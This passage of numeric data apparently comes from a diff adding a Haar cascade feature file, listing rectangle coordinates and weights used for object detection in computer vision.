+ <_> + 11 13 1 6 -1. + <_> + 11 16 1 3 2. + <_> + + <_> + 8 13 1 6 -1. + <_> + 8 16 1 3 2. + <_> + + <_> + 14 3 2 1 -1. + <_> + 14 3 1 1 2. + <_> + + <_> + 8 15 2 3 -1. + <_> + 8 16 2 1 3. + <_> + + <_> + 12 15 7 4 -1. + <_> + 12 17 7 2 2. + <_> + + <_> + 4 14 12 3 -1. + <_> + 4 15 12 1 3. + <_> + + <_> + 10 3 3 2 -1. + <_> + 11 3 1 2 3. + <_> + + <_> + 4 12 2 2 -1. + <_> + 4 13 2 1 2. + <_> + + <_> + 10 11 4 6 -1. + <_> + 10 14 4 3 2. + <_> + + <_> + 7 13 2 2 -1. + <_> + 7 13 1 1 2. + <_> + 8 14 1 1 2. + <_> + + <_> + 4 11 14 4 -1. + <_> + 11 11 7 2 2. + <_> + 4 13 7 2 2. + <_> + + <_> + 1 18 18 2 -1. + <_> + 7 18 6 2 3. + <_> + + <_> + 11 18 2 2 -1. + <_> + 12 18 1 1 2. + <_> + 11 19 1 1 2. + <_> + + <_> + 7 18 2 2 -1. + <_> + 7 18 1 1 2. + <_> + 8 19 1 1 2. + <_> + + <_> + 12 18 8 2 -1. + <_> + 12 19 8 1 2. + <_> + + <_> + 7 14 6 2 -1. + <_> + 7 15 6 1 2. + <_> + + <_> + 8 12 4 8 -1. + <_> + 10 12 2 4 2. + <_> + 8 16 2 4 2. + <_> + + <_> + 4 9 3 3 -1. + <_> + 4 10 3 1 3. + <_> + + <_> + 7 10 6 2 -1. + <_> + 9 10 2 2 3. + <_> + + <_> + 5 0 4 15 -1. + <_> + 7 0 2 15 2. + <_> + + <_> + 8 6 12 14 -1. + <_> + 12 6 4 14 3. + <_> + + <_> + 5 16 3 3 -1. + <_> + 5 17 3 1 3. + <_> + + <_> + 8 1 12 19 -1. + <_> + 12 1 4 19 3. + <_> + + <_> + 3 0 3 2 -1. + <_> + 3 1 3 1 2. + <_> + + <_> + 10 12 4 5 -1. + <_> + 10 12 2 5 2. + <_> + + <_> + 6 12 4 5 -1. + <_> + 8 12 2 5 2. + <_> + + <_> + 11 11 2 2 -1. + <_> + 12 11 1 1 2. + <_> + 11 12 1 1 2. + <_> + + <_> + 0 2 3 6 -1. + <_> + 0 4 3 2 3. + <_> + + <_> + 11 11 2 2 -1. + <_> + 12 11 1 1 2. + <_> + 11 12 1 1 2. + <_> + + <_> + 7 6 4 10 -1. + <_> + 7 11 4 5 2. + <_> + + <_> + 11 11 2 2 -1. + <_> + 12 11 1 1 2. + <_> + 11 12 1 1 2. + <_> + + <_> + 2 13 5 2 -1. + <_> + 2 14 5 1 2. + <_> + + <_> + 11 11 2 2 -1. + <_> + 12 11 1 1 2. + <_> + 11 12 1 1 2. + <_> + + <_> + 7 11 2 2 -1. + <_> + 7 11 1 1 2. + <_> + 8 12 1 1 2. + <_> + + <_> + 14 13 3 3 -1. + <_> + 14 14 3 1 3. + <_> + + <_> + 3 13 3 3 -1. + <_> + 3 14 3 1 3. + <_> + + <_> + 9 14 2 3 -1. + <_> + 9 15 2 1 3. + <_> + + <_> + 8 7 3 3 -1. + <_> + 8 8 3 1 3. + <_> + + <_> + 13 5 3 3 -1. + <_> + 13 6 3 1 3. + <_> + + <_> + 0 9 5 3 -1. + <_> + 0 10 5 1 3. + <_> + + <_> + 13 5 3 3 -1. + <_> + 13 6 3 1 3. + <_> + + <_> + 9 12 2 8 -1. + <_> + 9 12 1 4 2. + <_> + 10 16 1 4 2. + <_> + + <_> + 11 7 2 2 -1. + <_> + 12 7 1 1 2. + <_> + 11 8 1 1 2. + <_> + + <_> + 0 16 6 4 -1. + <_> + 3 16 3 4 2. + <_> + + <_> + 10 6 2 3 -1. + <_> + 10 7 2 1 3. + <_> + + <_> + 9 5 2 6 -1. + <_> + 9 7 2 2 3. + <_> + + <_> + 12 15 8 4 -1. + <_> + 12 15 4 4 2. + <_> + + <_> + 0 14 8 6 -1. + <_> + 4 14 4 6 2. + <_> + + <_> + 9 0 3 2 -1. + <_> + 10 0 1 2 3. + <_> + + <_> + 4 15 4 2 -1. + <_> + 6 15 2 2 2. + <_> + + <_> + 12 7 3 13 -1. + <_> + 13 7 1 13 3. + <_> + + <_> + 5 7 3 13 -1. + <_> + 6 7 1 13 3. + <_> + + <_> + 9 6 3 9 -1. + <_> + 9 9 3 3 3. + <_> + + <_> + 4 4 7 12 -1. + <_> + 4 10 7 6 2. + <_> + + <_> + 12 12 2 2 -1. + <_> + 13 12 1 1 2. + <_> + 12 13 1 1 2. + <_> + + <_> + 6 12 2 2 -1. + <_> + 6 12 1 1 2. + <_> + 7 13 1 1 2. + <_> + + <_> + 8 9 4 2 -1. + <_> + 10 9 2 1 2. + <_> + 8 10 2 1 2. + <_> + + <_> + 3 6 2 2 -1. + <_> + 3 6 1 1 2. + <_> + 4 7 1 1 2. + <_> + + <_> + 16 6 3 2 -1. + <_> + 16 7 3 1 2. + <_> + + <_> + 0 7 19 4 -1. + <_> + 0 9 19 2 2. + <_> + + <_> + 10 2 10 1 -1. + <_> + 10 2 5 1 2. + <_> + + <_> + 9 4 2 12 -1. + <_> + 9 10 2 6 2. + <_> + + <_> + 12 18 4 1 -1. + <_> + 12 18 2 1 2. + <_> + + <_> + 1 7 6 4 -1. + <_> + 1 7 3 2 2. + <_> + 4 9 3 2 2. + <_> + + <_> + 12 0 6 13 -1. + <_> + 14 0 2 13 3. + <_> + + <_> + 2 0 6 13 -1. + <_> + 4 0 2 13 3. + <_> + + <_> + 10 5 8 8 -1. + <_> + 10 9 8 4 2. + <_> + + <_> + 8 3 2 5 -1. + <_> + 9 3 1 5 2. + <_> + + <_> + 8 4 9 1 -1. + <_> + 11 4 3 1 3. + <_> + + <_> + 3 4 9 1 -1. + <_> + 6 4 3 1 3. + <_> + + <_> + 1 0 18 10 -1. + <_> + 7 0 6 10 3. + <_> + + <_> + 7 17 5 3 -1. + <_> + 7 18 5 1 3. + <_> + + <_> + 7 11 6 1 -1. + <_> + 9 11 2 1 3. + <_> + + <_> + 2 2 3 2 -1. + <_> + 2 3 3 1 2. + <_> + + <_> + 8 12 4 2 -1. + <_> + 8 13 4 1 2. + <_> + + <_> + 6 10 3 6 -1. + <_> + 6 13 3 3 2. + <_> + + <_> + 11 4 2 4 -1. + <_> + 11 4 1 4 2. + <_> + + <_> + 7 4 2 4 -1. + <_> + 8 4 1 4 2. + <_> + + <_> + 9 6 2 4 -1. + <_> + 9 6 1 4 2. + <_> + + <_> + 6 13 8 3 -1. + <_> + 6 14 8 1 3. + <_> + + <_> + 9 15 3 4 -1. + <_> + 10 15 1 4 3. + <_> + + <_> + 9 2 2 17 -1. + <_> + 10 2 1 17 2. + <_> + + <_> + 7 0 6 1 -1. + <_> + 9 0 2 1 3. + <_> + + <_> + 8 15 3 4 -1. + <_> + 9 15 1 4 3. + <_> + + <_> + 7 13 7 3 -1. + <_> + 7 14 7 1 3. + <_> + + <_> + 8 16 3 3 -1. + <_> + 9 16 1 3 3. + <_> + + <_> + 6 2 8 10 -1. + <_> + 6 7 8 5 2. + <_> + + <_> + 2 5 8 8 -1. + <_> + 2 9 8 4 2. + <_> + + <_> + 14 16 2 2 -1. + <_> + 14 17 2 1 2. + <_> + + <_> + 4 16 2 2 -1. + <_> + 4 17 2 1 2. + <_> + + <_> + 10 11 4 6 -1. + <_> + 10 14 4 3 2. + <_> + + <_> + 6 11 4 6 -1. + <_> + 6 14 4 3 2. + <_> + + <_> + 10 14 1 3 -1. + <_> + 10 15 1 1 3. + <_> + + <_> + 8 14 4 3 -1. + <_> + 8 15 4 1 3. + <_> + + <_> + 10 0 4 6 -1. + <_> + 12 0 2 3 2. + <_> + 10 3 2 3 2. + <_> + + <_> + 0 3 20 2 -1. + <_> + 0 4 20 1 2. + <_> + + <_> + 12 0 8 2 -1. + <_> + 16 0 4 1 2. + <_> + 12 1 4 1 2. + <_> + + <_> + 2 12 10 8 -1. + <_> + 2 16 10 4 2. + <_> + + <_> + 17 7 2 10 -1. + <_> + 18 7 1 5 2. + <_> + 17 12 1 5 2. + <_> + + <_> + 1 7 2 10 -1. + <_> + 1 7 1 5 2. + <_> + 2 12 1 5 2. + <_> + + <_> + 15 10 3 6 -1. + <_> + 15 12 3 2 3. + <_> + + <_> + 4 4 6 2 -1. + <_> + 6 4 2 2 3. + <_> + + <_> + 0 5 20 6 -1. + <_> + 0 7 20 2 3. + <_> + + <_> + 0 0 8 2 -1. + <_> + 0 0 4 1 2. + <_> + 4 1 4 1 2. + <_> + + <_> + 1 0 18 4 -1. + <_> + 7 0 6 4 3. + <_> + + <_> + 1 13 6 2 -1. + <_> + 1 14 6 1 2. + <_> + + <_> + 10 8 3 4 -1. + <_> + 11 8 1 4 3. + <_> + + <_> + 6 1 6 1 -1. + <_> + 8 1 2 1 3. + <_> + + <_> + 8 14 4 3 -1. + <_> + 8 15 4 1 3. + <_> + + <_> + 1 6 18 2 -1. + <_> + 10 6 9 2 2. + <_> + + <_> + 15 11 1 2 -1. + <_> + 15 12 1 1 2. + <_> + + <_> + 6 5 1 2 -1. + <_> + 6 6 1 1 2. + <_> + + <_> + 13 4 1 3 -1. + <_> + 13 5 1 1 3. + <_> + + <_> + 2 15 1 2 -1. + <_> + 2 16 1 1 2. + <_> + + <_> + 12 4 4 3 -1. + <_> + 12 5 4 1 3. + <_> + + <_> + 0 0 7 3 -1. + <_> + 0 1 7 1 3. + <_> + + <_> + 9 12 6 2 -1. + <_> + 9 12 3 2 2. + <_> + + <_> + 5 4 2 3 -1. + <_> + 5 5 2 1 3. + <_> + + <_> + 18 4 2 3 -1. + <_> + 18 5 2 1 3. + <_> + + <_> + 3 0 8 6 -1. + <_> + 3 2 8 2 3. + <_> + + <_> + 0 2 20 6 -1. + <_> + 10 2 10 3 2. + <_> + 0 5 10 3 2. + <_> + + <_> + 4 7 2 4 -1. + <_> + 5 7 1 4 2. + <_> + + <_> + 3 10 15 2 -1. + <_> + 8 10 5 2 3. + <_> + + <_> + 3 0 12 11 -1. + <_> + 9 0 6 11 2. + <_> + + <_> + 13 0 2 6 -1. + <_> + 13 0 1 6 2. + <_> + + <_> + 0 19 2 1 -1. + <_> + 1 19 1 1 2. + <_> + + <_> + 16 10 4 10 -1. + <_> + 18 10 2 5 2. + <_> + 16 15 2 5 2. + <_> + + <_> + 4 8 10 3 -1. + <_> + 4 9 10 1 3. + <_> + + <_> + 14 12 3 3 -1. + <_> + 14 13 3 1 3. + <_> + + <_> + 0 10 4 10 -1. + <_> + 0 10 2 5 2. + <_> + 2 15 2 5 2. + <_> + + <_> + 18 3 2 6 -1. + <_> + 18 5 2 2 3. + <_> + + <_> + 6 6 1 3 -1. + <_> + 6 7 1 1 3. + <_> + + <_> + 7 7 7 2 -1. + <_> + 7 8 7 1 2. + <_> + + <_> + 0 3 2 6 -1. + <_> + 0 5 2 2 3. + <_> + + <_> + 11 1 3 1 -1. + <_> + 12 1 1 1 3. + <_> + + <_> + 5 0 2 6 -1. + <_> + 6 0 1 6 2. + <_> + + <_> + 1 1 18 14 -1. + <_> + 7 1 6 14 3. + <_> + + <_> + 4 6 8 3 -1. + <_> + 8 6 4 3 2. + <_> + + <_> + 9 12 6 2 -1. + <_> + 9 12 3 2 2. + <_> + + <_> + 5 12 6 2 -1. + <_> + 8 12 3 2 2. + <_> + + <_> + 10 7 3 5 -1. + <_> + 11 7 1 5 3. + <_> + + <_> + 7 7 3 5 -1. + <_> + 8 7 1 5 3. + <_> + + <_> + 13 0 3 10 -1. + <_> + 14 0 1 10 3. + <_> + + <_> + 4 11 3 2 -1. + <_> + 4 12 3 1 2. + <_> + + <_> + 17 3 3 6 -1. + <_> + 18 3 1 6 3. + <_> + + <_> + 1 8 18 10 -1. + <_> + 1 13 18 5 2. + <_> + + <_> + 13 0 3 10 -1. + <_> + 14 0 1 10 3. + <_> + + <_> + 9 14 2 3 -1. + <_> + 9 15 2 1 3. + <_> + + <_> + 16 3 3 7 -1. + <_> + 17 3 1 7 3. + <_> + + <_> + 4 0 3 10 -1. + <_> + 5 0 1 10 3. + <_> + + <_> + 16 3 3 7 -1. + <_> + 17 3 1 7 3. + <_> + + <_> + 0 9 1 2 -1. + <_> + 0 10 1 1 2. + <_> + + <_> + 18 1 2 10 -1. + <_> + 18 1 1 10 2. + <_> + + <_> + 0 1 2 10 -1. + <_> + 1 1 1 10 2. + <_> + + <_> + 10 16 3 4 -1. + <_> + 11 16 1 4 3. + <_> + + <_> + 2 8 3 3 -1. + <_> + 3 8 1 3 3. + <_> + + <_> + 11 0 2 6 -1. + <_> + 12 0 1 3 2. + <_> + 11 3 1 3 2. + <_> + + <_> + 7 0 2 6 -1. + <_> + 7 0 1 3 2. + <_> + 8 3 1 3 2. + <_> + + <_> + 16 3 3 7 -1. + <_> + 17 3 1 7 3. + <_> + + <_> + 1 3 3 7 -1. + <_> + 2 3 1 7 3. + <_> + + <_> + 14 1 6 16 -1. + <_> + 16 1 2 16 3. + <_> + + <_> + 0 1 6 16 -1. + <_> + 2 1 2 16 3. + <_> + + <_> + 2 0 16 8 -1. + <_> + 10 0 8 4 2. + <_> + 2 4 8 4 2. + <_> + + <_> + 6 8 5 3 -1. + <_> + 6 9 5 1 3. + <_> + + <_> + 9 7 3 3 -1. + <_> + 10 7 1 3 3. + <_> + + <_> + 8 8 4 3 -1. + <_> + 8 9 4 1 3. + <_> + + <_> + 9 6 2 4 -1. + <_> + 9 6 1 4 2. + <_> + + <_> + 0 7 15 1 -1. + <_> + 5 7 5 1 3. + <_> + + <_> + 8 2 7 9 -1. + <_> + 8 5 7 3 3. + <_> + + <_> + 1 7 16 4 -1. + <_> + 1 7 8 2 2. + <_> + 9 9 8 2 2. + <_> + + <_> + 6 12 8 2 -1. + <_> + 6 13 8 1 2. + <_> + + <_> + 8 11 3 3 -1. + <_> + 8 12 3 1 3. + <_> + + <_> + 4 5 14 10 -1. + <_> + 11 5 7 5 2. + <_> + 4 10 7 5 2. + <_> + + <_> + 4 12 3 2 -1. + <_> + 4 13 3 1 2. + <_> + + <_> + 9 11 6 1 -1. + <_> + 11 11 2 1 3. + <_> + + <_> + 4 9 7 6 -1. + <_> + 4 11 7 2 3. + <_> + + <_> + 7 10 6 3 -1. + <_> + 7 11 6 1 3. + <_> + + <_> + 9 11 2 2 -1. + <_> + 9 12 2 1 2. + <_> + + <_> + 0 5 20 6 -1. + <_> + 0 7 20 2 3. + <_> + + <_> + 6 4 6 1 -1. + <_> + 8 4 2 1 3. + <_> + + <_> + 9 11 6 1 -1. + <_> + 11 11 2 1 3. + <_> + + <_> + 5 11 6 1 -1. + <_> + 7 11 2 1 3. + <_> + + <_> + 10 16 3 4 -1. + <_> + 11 16 1 4 3. + <_> + + <_> + 8 7 3 3 -1. + <_> + 9 7 1 3 3. + <_> + + <_> + 2 12 16 8 -1. + <_> + 2 16 16 4 2. + <_> + + <_> + 0 15 15 2 -1. + <_> + 0 16 15 1 2. + <_> + + <_> + 15 4 5 6 -1. + <_> + 15 6 5 2 3. + <_> + + <_> + 9 5 2 4 -1. + <_> + 10 5 1 4 2. + <_> + + <_> + 8 10 9 6 -1. + <_> + 8 12 9 2 3. + <_> + + <_> + 2 19 15 1 -1. + <_> + 7 19 5 1 3. + <_> + + <_> + 10 16 3 4 -1. + <_> + 11 16 1 4 3. + <_> + + <_> + 0 15 20 4 -1. + <_> + 0 17 20 2 2. + <_> + + <_> + 10 16 3 4 -1. + <_> + 11 16 1 4 3. + <_> + + <_> + 7 16 3 4 -1. + <_> + 8 16 1 4 3. + <_> + + <_> + 9 16 3 3 -1. + <_> + 9 17 3 1 3. + <_> + + <_> + 8 11 4 6 -1. + <_> + 8 14 4 3 2. + <_> + + <_> + 9 6 2 12 -1. + <_> + 9 10 2 4 3. + <_> + + <_> + 8 17 4 3 -1. + <_> + 8 18 4 1 3. + <_> + + <_> + 9 18 8 2 -1. + <_> + 13 18 4 1 2. + <_> + 9 19 4 1 2. + <_> + + <_> + 1 18 8 2 -1. + <_> + 1 19 8 1 2. + <_> + + <_> + 13 5 6 15 -1. + <_> + 15 5 2 15 3. + <_> + + <_> + 9 8 2 2 -1. + <_> + 9 9 2 1 2. + <_> + + <_> + 9 5 2 3 -1. + <_> + 9 5 1 3 2. + <_> + + <_> + 1 5 6 15 -1. + <_> + 3 5 2 15 3. + <_> + + <_> + 4 1 14 8 -1. + <_> + 11 1 7 4 2. + <_> + 4 5 7 4 2. + <_> + + <_> + 2 4 4 16 -1. + <_> + 2 4 2 8 2. + <_> + 4 12 2 8 2. + <_> + + <_> + 12 4 3 12 -1. + <_> + 12 10 3 6 2. + <_> + + <_> + 4 5 10 12 -1. + <_> + 4 5 5 6 2. + <_> + 9 11 5 6 2. + <_> + + <_> + 9 14 2 3 -1. + <_> + 9 15 2 1 3. + <_> + + <_> + 5 4 2 3 -1. + <_> + 5 5 2 1 3. + <_> + + <_> + 12 2 4 10 -1. + <_> + 14 2 2 5 2. + <_> + 12 7 2 5 2. + <_> + + <_> + 6 4 7 3 -1. + <_> + 6 5 7 1 3. + <_> + + <_> + 2 0 18 2 -1. + <_> + 11 0 9 1 2. + <_> + 2 1 9 1 2. + <_> + + <_> + 0 0 18 2 -1. + <_> + 0 0 9 1 2. + <_> + 9 1 9 1 2. + <_> + + <_> + 13 13 4 6 -1. + <_> + 15 13 2 3 2. + <_> + 13 16 2 3 2. + <_> + + <_> + 3 13 4 6 -1. + <_> + 3 13 2 3 2. + <_> + 5 16 2 3 2. + <_> + + <_> + 10 12 2 6 -1. + <_> + 10 15 2 3 2. + <_> + + <_> + 5 9 10 10 -1. + <_> + 5 9 5 5 2. + <_> + 10 14 5 5 2. + <_> + + <_> + 11 4 4 2 -1. + <_> + 13 4 2 1 2. + <_> + 11 5 2 1 2. + <_> + + <_> + 7 12 6 8 -1. + <_> + 10 12 3 8 2. + <_> + + <_> + 12 2 4 10 -1. + <_> + 14 2 2 5 2. + <_> + 12 7 2 5 2. + <_> + + <_> + 8 11 2 1 -1. + <_> + 9 11 1 1 2. + <_> + + <_> + 10 5 1 12 -1. + <_> + 10 9 1 4 3. + <_> + + <_> + 0 11 6 9 -1. + <_> + 3 11 3 9 2. + <_> + + <_> + 12 2 4 10 -1. + <_> + 14 2 2 5 2. + <_> + 12 7 2 5 2. + <_> + + <_> + 4 2 4 10 -1. + <_> + 4 2 2 5 2. + <_> + 6 7 2 5 2. + <_> + + <_> + 11 4 4 2 -1. + <_> + 13 4 2 1 2. + <_> + 11 5 2 1 2. + <_> + + <_> + 0 14 6 3 -1. + <_> + 0 15 6 1 3. + <_> + + <_> + 11 4 4 2 -1. + <_> + 13 4 2 1 2. + <_> + 11 5 2 1 2. + <_> + + <_> + 6 1 3 2 -1. + <_> + 7 1 1 2 3. + <_> + + <_> + 11 4 4 2 -1. + <_> + 13 4 2 1 2. + <_> + 11 5 2 1 2. + <_> + + <_> + 5 4 4 2 -1. + <_> + 5 4 2 1 2. + <_> + 7 5 2 1 2. + <_> + + <_> + 13 0 2 12 -1. + <_> + 14 0 1 6 2. + <_> + 13 6 1 6 2. + <_> + + <_> + 6 0 3 10 -1. + <_> + 7 0 1 10 3. + <_> + + <_> + 3 0 17 8 -1. + <_> + 3 4 17 4 2. + <_> + + <_> + 0 4 20 4 -1. + <_> + 0 6 20 2 2. + <_> + + <_> + 0 3 8 2 -1. + <_> + 4 3 4 2 2. + <_> + + <_> + 8 11 4 3 -1. + <_> + 8 12 4 1 3. + <_> + + <_> + 5 7 6 4 -1. + <_> + 5 7 3 2 2. + <_> + 8 9 3 2 2. + <_> + + <_> + 8 3 4 9 -1. + <_> + 8 6 4 3 3. + <_> + + <_> + 8 15 1 4 -1. + <_> + 8 17 1 2 2. + <_> + + <_> + 4 5 12 7 -1. + <_> + 8 5 4 7 3. + <_> + + <_> + 4 2 4 10 -1. + <_> + 4 2 2 5 2. + <_> + 6 7 2 5 2. + <_> + + <_> + 3 0 17 2 -1. + <_> + 3 1 17 1 2. + <_> + + <_> + 2 2 16 15 -1. + <_> + 2 7 16 5 3. + <_> + + <_> + 15 2 5 2 -1. + <_> + 15 3 5 1 2. + <_> + + <_> + 9 3 2 2 -1. + <_> + 10 3 1 2 2. + <_> + + <_> + 4 5 16 15 -1. + <_> + 4 10 16 5 3. + <_> + + <_> + 7 13 5 6 -1. + <_> + 7 16 5 3 2. + <_> + + <_> + 10 7 3 2 -1. + <_> + 11 7 1 2 3. + <_> + + <_> + 8 3 3 1 -1. + <_> + 9 3 1 1 3. + <_> + + <_> + 9 16 3 3 -1. + <_> + 9 17 3 1 3. + <_> + + <_> + 0 2 5 2 -1. + <_> + 0 3 5 1 2. + <_> + + <_> + 12 5 4 3 -1. + <_> + 12 6 4 1 3. + <_> + + <_> + 1 7 12 1 -1. + <_> + 5 7 4 1 3. + <_> + + <_> + 7 5 6 14 -1. + <_> + 7 12 6 7 2. + <_> + + <_> + 0 0 8 10 -1. + <_> + 0 0 4 5 2. + <_> + 4 5 4 5 2. + <_> + + <_> + 9 1 3 2 -1. + <_> + 10 1 1 2 3. + <_> + + <_> + 8 1 3 2 -1. + <_> + 9 1 1 2 3. + <_> + + <_> + 12 4 3 3 -1. + <_> + 12 5 3 1 3. + <_> + + <_> + 7 4 6 16 -1. + <_> + 7 12 6 8 2. + <_> + + <_> + 12 4 3 3 -1. + <_> + 12 5 3 1 3. + <_> + + <_> + 2 3 2 6 -1. + <_> + 2 5 2 2 3. + <_> + + <_> + 14 2 6 9 -1. + <_> + 14 5 6 3 3. + <_> + + <_> + 5 4 3 3 -1. + <_> + 5 5 3 1 3. + <_> + + <_> + 9 17 3 2 -1. + <_> + 10 17 1 2 3. + <_> + + <_> + 5 5 2 3 -1. + <_> + 5 6 2 1 3. + <_> + + <_> + 13 11 3 6 -1. + <_> + 13 13 3 2 3. + <_> + + <_> + 3 14 2 6 -1. + <_> + 3 17 2 3 2. + <_> + + <_> + 14 3 6 2 -1. + <_> + 14 4 6 1 2. + <_> + + <_> + 0 8 16 2 -1. + <_> + 0 9 16 1 2. + <_> + + <_> + 14 3 6 2 -1. + <_> + 14 4 6 1 2. + <_> + + <_> + 0 0 5 6 -1. + <_> + 0 2 5 2 3. + <_> + + <_> + 12 5 4 3 -1. + <_> + 12 6 4 1 3. + <_> + + <_> + 4 11 3 6 -1. + <_> + 4 13 3 2 3. + <_> + + <_> + 12 5 4 3 -1. + <_> + 12 6 4 1 3. + <_> + + <_> + 9 5 1 3 -1. + <_> + 9 6 1 1 3. + <_> + + <_> + 12 5 4 3 -1. + <_> + 12 6 4 1 3. + <_> + + <_> + 6 6 8 12 -1. + <_> + 6 12 8 6 2. + <_> + + <_> + 12 5 4 3 -1. + <_> + 12 6 4 1 3. + <_> + + <_> + 5 12 9 2 -1. + <_> + 8 12 3 2 3. + <_> + + <_> + 12 5 4 3 -1. + <_> + 12 6 4 1 3. + <_> + + <_> + 4 5 4 3 -1. + <_> + 4 6 4 1 3. + <_> + + <_> + 6 6 9 2 -1. + <_> + 9 6 3 2 3. + <_> + + <_> + 4 11 1 3 -1. + <_> + 4 12 1 1 3. + <_> + + <_> + 14 12 6 6 -1. + <_> + 14 12 3 6 2. + <_> + + <_> + 7 0 3 7 -1. + <_> + 8 0 1 7 3. + <_> + + <_> + 9 8 3 3 -1. + <_> + 10 8 1 3 3. + <_> + + <_> + 8 8 3 3 -1. + <_> + 9 8 1 3 3. + <_> + + <_> + 5 10 11 3 -1. + <_> + 5 11 11 1 3. + <_> + + <_> + 5 7 10 1 -1. + <_> + 10 7 5 1 2. + <_> + + <_> + 9 7 3 2 -1. + <_> + 10 7 1 2 3. + <_> + + <_> + 8 7 3 2 -1. + <_> + 9 7 1 2 3. + <_> + + <_> + 11 9 4 2 -1. + <_> + 11 9 2 2 2. + <_> + + <_> + 5 9 4 2 -1. + <_> + 7 9 2 2 2. + <_> + + <_> + 14 10 2 4 -1. + <_> + 14 12 2 2 2. + <_> + + <_> + 7 7 3 2 -1. + <_> + 8 7 1 2 3. + <_> + + <_> + 14 17 6 3 -1. + <_> + 14 18 6 1 3. + <_> + + <_> + 4 5 12 12 -1. + <_> + 4 5 6 6 2. + <_> + 10 11 6 6 2. + <_> + + <_> + 6 9 8 8 -1. + <_> + 10 9 4 4 2. + <_> + 6 13 4 4 2. + <_> + + <_> + 0 4 15 4 -1. + <_> + 5 4 5 4 3. + <_> + + <_> + 13 2 4 1 -1. + <_> + 13 2 2 1 2. + <_> + + <_> + 4 12 2 2 -1. + <_> + 4 13 2 1 2. + <_> + + <_> + 8 13 4 3 -1. + <_> + 8 14 4 1 3. + <_> + + <_> + 9 13 2 3 -1. + <_> + 9 14 2 1 3. + <_> + + <_> + 13 11 2 3 -1. + <_> + 13 12 2 1 3. + <_> + + <_> + 7 12 4 4 -1. + <_> + 7 12 2 2 2. + <_> + 9 14 2 2 2. + <_> + + <_> + 10 11 2 2 -1. + <_> + 11 11 1 1 2. + <_> + 10 12 1 1 2. + <_> + + <_> + 8 17 3 2 -1. + <_> + 9 17 1 2 3. + <_> + + <_> + 10 11 2 2 -1. + <_> + 11 11 1 1 2. + <_> + 10 12 1 1 2. + <_> + + <_> + 0 17 6 3 -1. + <_> + 0 18 6 1 3. + <_> + + <_> + 10 11 2 2 -1. + <_> + 11 11 1 1 2. + <_> + 10 12 1 1 2. + <_> + + <_> + 8 11 2 2 -1. + <_> + 8 11 1 1 2. + <_> + 9 12 1 1 2. + <_> + + <_> + 12 5 8 4 -1. + <_> + 12 5 4 4 2. + <_> + + <_> + 0 5 8 4 -1. + <_> + 4 5 4 4 2. + <_> + + <_> + 13 2 4 1 -1. + <_> + 13 2 2 1 2. + <_> + + <_> + 3 2 4 1 -1. + <_> + 5 2 2 1 2. + <_> + + <_> + 10 0 4 2 -1. + <_> + 12 0 2 1 2. + <_> + 10 1 2 1 2. + <_> + + <_> + 7 12 3 1 -1. + <_> + 8 12 1 1 3. + <_> + + <_> + 8 11 4 8 -1. + <_> + 10 11 2 4 2. + <_> + 8 15 2 4 2. + <_> + + <_> + 9 9 2 2 -1. + <_> + 9 10 2 1 2. + <_> + + <_> + 3 18 15 2 -1. + <_> + 3 19 15 1 2. + <_> + + <_> + 2 6 2 12 -1. + <_> + 2 6 1 6 2. + <_> + 3 12 1 6 2. + <_> + + <_> + 9 8 2 3 -1. + <_> + 9 9 2 1 3. + <_> + + <_> + 7 10 3 2 -1. + <_> + 8 10 1 2 3. + <_> + + <_> + 11 11 3 1 -1. + <_> + 12 11 1 1 3. + <_> + + <_> + 6 11 3 1 -1. + <_> + 7 11 1 1 3. + <_> + + <_> + 9 2 4 2 -1. + <_> + 11 2 2 1 2. + <_> + 9 3 2 1 2. + <_> + + <_> + 4 12 2 3 -1. + <_> + 4 13 2 1 3. + <_> + + <_> + 2 1 18 3 -1. + <_> + 8 1 6 3 3. + <_> + + <_> + 5 1 4 14 -1. + <_> + 7 1 2 14 2. + <_> + + <_> + 8 16 12 3 -1. + <_> + 8 16 6 3 2. + <_> + + <_> + 1 17 18 3 -1. + <_> + 7 17 6 3 3. + <_> + + <_> + 9 14 2 6 -1. + <_> + 9 17 2 3 2. + <_> + + <_> + 9 12 1 8 -1. + <_> + 9 16 1 4 2. + <_> + + <_> + 9 14 2 3 -1. + <_> + 9 15 2 1 3. + <_> + + <_> + 9 6 2 12 -1. + <_> + 9 10 2 4 3. + <_> + + <_> + 12 9 3 3 -1. + <_> + 12 10 3 1 3. + <_> + + <_> + 0 1 4 8 -1. + <_> + 2 1 2 8 2. + <_> + + <_> + 9 1 6 2 -1. + <_> + 12 1 3 1 2. + <_> + 9 2 3 1 2. + <_> + + <_> + 1 3 12 14 -1. + <_> + 1 10 12 7 2. + <_> + + <_> + 8 12 4 2 -1. + <_> + 10 12 2 1 2. + <_> + 8 13 2 1 2. + <_> + + <_> + 1 9 10 2 -1. + <_> + 1 9 5 1 2. + <_> + 6 10 5 1 2. + <_> + + <_> + 8 15 4 3 -1. + <_> + 8 16 4 1 3. + <_> + + <_> + 6 8 8 3 -1. + <_> + 6 9 8 1 3. + <_> + + <_> + 9 15 5 3 -1. + <_> + 9 16 5 1 3. + <_> + + <_> + 8 7 4 3 -1. + <_> + 8 8 4 1 3. + <_> + + <_> + 7 7 6 2 -1. + <_> + 7 8 6 1 2. + <_> + + <_> + 5 7 8 2 -1. + <_> + 5 7 4 1 2. + <_> + 9 8 4 1 2. + <_> + + <_> + 12 9 3 3 -1. + <_> + 12 10 3 1 3. + <_> + + <_> + 4 7 4 2 -1. + <_> + 4 8 4 1 2. + <_> + + <_> + 14 2 6 9 -1. + <_> + 14 5 6 3 3. + <_> + + <_> + 4 9 3 3 -1. + <_> + 5 9 1 3 3. + <_> + + <_> + 12 9 3 3 -1. + <_> + 12 10 3 1 3. + <_> + + <_> + 0 2 6 9 -1. + <_> + 0 5 6 3 3. + <_> + + <_> + 17 3 3 6 -1. + <_> + 18 3 1 6 3. + <_> + + <_> + 0 3 3 6 -1. + <_> + 1 3 1 6 3. + <_> + + <_> + 17 14 1 2 -1. + <_> + 17 15 1 1 2. + <_> + + <_> + 4 9 4 3 -1. + <_> + 6 9 2 3 2. + <_> + + <_> + 12 9 3 3 -1. + <_> + 12 10 3 1 3. + <_> + + <_> + 5 9 3 3 -1. + <_> + 5 10 3 1 3. + <_> + + <_> + 9 5 6 8 -1. + <_> + 12 5 3 4 2. + <_> + 9 9 3 4 2. + <_> + + <_> + 5 5 6 8 -1. + <_> + 5 5 3 4 2. + <_> + 8 9 3 4 2. + <_> + + <_> + 16 1 4 6 -1. + <_> + 16 4 4 3 2. + <_> + + <_> + 1 0 6 20 -1. + <_> + 3 0 2 20 3. + <_> + + <_> + 12 11 3 2 -1. + <_> + 13 